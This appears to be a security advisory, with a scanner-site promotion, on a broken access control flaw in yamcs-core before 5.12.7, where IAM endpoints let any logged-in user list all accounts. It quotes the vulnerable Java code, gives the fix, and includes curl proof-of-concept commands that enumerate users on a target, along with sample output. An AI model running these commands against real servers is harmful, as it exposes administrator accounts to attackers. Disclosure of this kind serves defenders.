| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| org.yamcs:yamcs-core | < 5.12.7 | 5.12.7 |
| yamcs | < 5.12.7 | 5.12.7 |
The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.
This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.
File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372
listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:
// listUsers — NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
// sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
for (User user : users) {
UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
responseb.addUsers(userb);
}
}
Compare with properly protected endpoints:
// createUser — correctly protected
public void createUser(Context ctx, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present
Any authenticated user can:
# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=lowpriv&password=lowpriv123"
# Enumerate all users — no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
-H "Authorization: Bearer $TOKEN" #paste access_token
Output (confirmed):
{
"users": [
{ "name": "admin", "superuser": true, "active": true },
{ "name": "operator", "superuser": true, "active": true },
{ "name": "lowpriv", "superuser": false, "active": true }
]
}
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíAdd ControlAccess check to listUsers, getUser, listGroups, getGroup:
public void listUsers(Context ctx, Empty request, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
...
}